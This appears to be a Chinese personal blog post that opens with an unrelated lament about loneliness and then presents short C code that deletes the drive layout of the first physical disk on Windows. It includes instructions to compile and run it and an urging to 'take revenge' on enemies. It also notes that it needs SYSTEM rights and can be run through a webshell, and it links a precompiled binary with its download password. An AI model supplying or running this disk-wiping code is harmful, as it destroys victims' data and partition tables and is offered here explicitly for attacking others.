活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。
代码:
#include<stdio.h>
#include<tchar.h>
#include<Windows.h>
#include<ntddscsi.h>//需要配置好WinDDK
int main()
{
DWORD lpBytesReturned;
OVERLAPPED lpOverlapped={0};
//以下两个CreateFile都可以,但前者速度慢,后者速度快。
//HANDLE DiskHandle=CreateFile(_T("\\\\.\\C:"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
HANDLE DiskHandle=CreateFile(_T("\\\\.\\PhysicalDrive0:"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
DeviceIoControl(DiskHandle,
IOCTL_DISK_DELETE_DRIVE_LAYOUT,//###########这是重点!########### 注:这个值等于0x0007C100
NULL,0,NULL,0,&lpBytesReturned,&lpOverlapped);
return 0;//兼容GCC
}
编译运行下即可
大家有仇得报仇。小心别被打死。
PS:小铸大JB分享给我的。测试时发现要system权限。可以测试下。webshell也可以使用得。
已经编译好得支持32与64位:
链接: https://pan.baidu.com/s/1qWIE6fy 密码: pfsq
© Sh4dow's Blog | Powered by LOFTER